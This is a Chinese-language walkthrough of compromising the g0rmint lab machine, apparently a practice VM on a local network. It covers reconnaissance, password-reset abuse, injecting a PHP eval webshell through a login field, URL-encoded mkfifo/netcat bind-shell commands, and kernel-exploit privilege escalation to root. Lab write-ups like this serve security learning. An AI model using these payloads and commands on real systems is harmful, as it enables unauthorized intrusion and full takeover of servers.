渗透测试之g0rmint
信息搜集
- arp-scan扫描
- 查找到IP为192.168.24.131的主机为靶机
- 主机探测
- 发现有22端口和web的80端口,扫描网站目录获得robots.txt
- 打开robots.txt发现/g0rmint/路径,打开是一个登陆界面,在源码中发现备份文件
- 打开发现文件不存在,应该是在这个目录下,使用dirb扫描发现info.php,打开提示有backup.zip文件,成功下载,得到网站源码
- 分析login.php
- 明显可以看到注册失败时,将email存入日志,dump.php文件是检查session的,当登录不成功时依然跳转到login.php界面,所以我们还是成功登录才行。
- 查看reset.php,发现使用email和用户名重置密码后,可以通过时间计算出密码
- 从哪里得到用户名呢,通过全局搜索email可以在style.css中发现作者的信息
- 重置密码后页面显示时间,使用PHP在线运行工具计算得出重置后的密码,成功登陆。
- 接下来要开始写入webshell了,在登陆界面中email填为一句话木马
<?php eval($_POST[_]); ?>
- 写入webshell后记下时间,注意格式
- 使用正确的email和密码登陆后访问一句话木马
- 然后可以反弹shell回本地,使用反弹shell命令:
_=
mkfifo /tmp/t
;
_=cat /tmp/t | /bin/sh -i 2>&1 | nc -l 8888 > /tmp/t
;
- 注意要上传URL编码后的命令
_=%60mkfifo%20%2ftmp%2ft%60%3B
_=%60cat%20%2ftmp%2ft%20%7C%20%2fbin%2fsh%20-i%202%3E%261%20%7C%20nc%20-l%208888%20%3E%20%2ftmp%2ft%60%3B
- 第二个命令执行后浏览器会进入阻塞状态,等待外部连接,执行外部连接传入的命令,相当于一个ssh
- 在本地使用连接命令
nc -n 192.168.24.131 8888
- 可以得到一个命令执行环境
- 拿到shell后只是得到了www-data的权限,要接着提权
- 查看系统版本号
在Kali中查找适用的提权脚本
- 根据系统内核版本,选择44298.c进行提权
- 由于靶机上没有GCC环境,在本地相同版本的Ubuntu编译后上传到靶机上执行
- 可以看到成功提权得到root权限,成功查找到flag文件。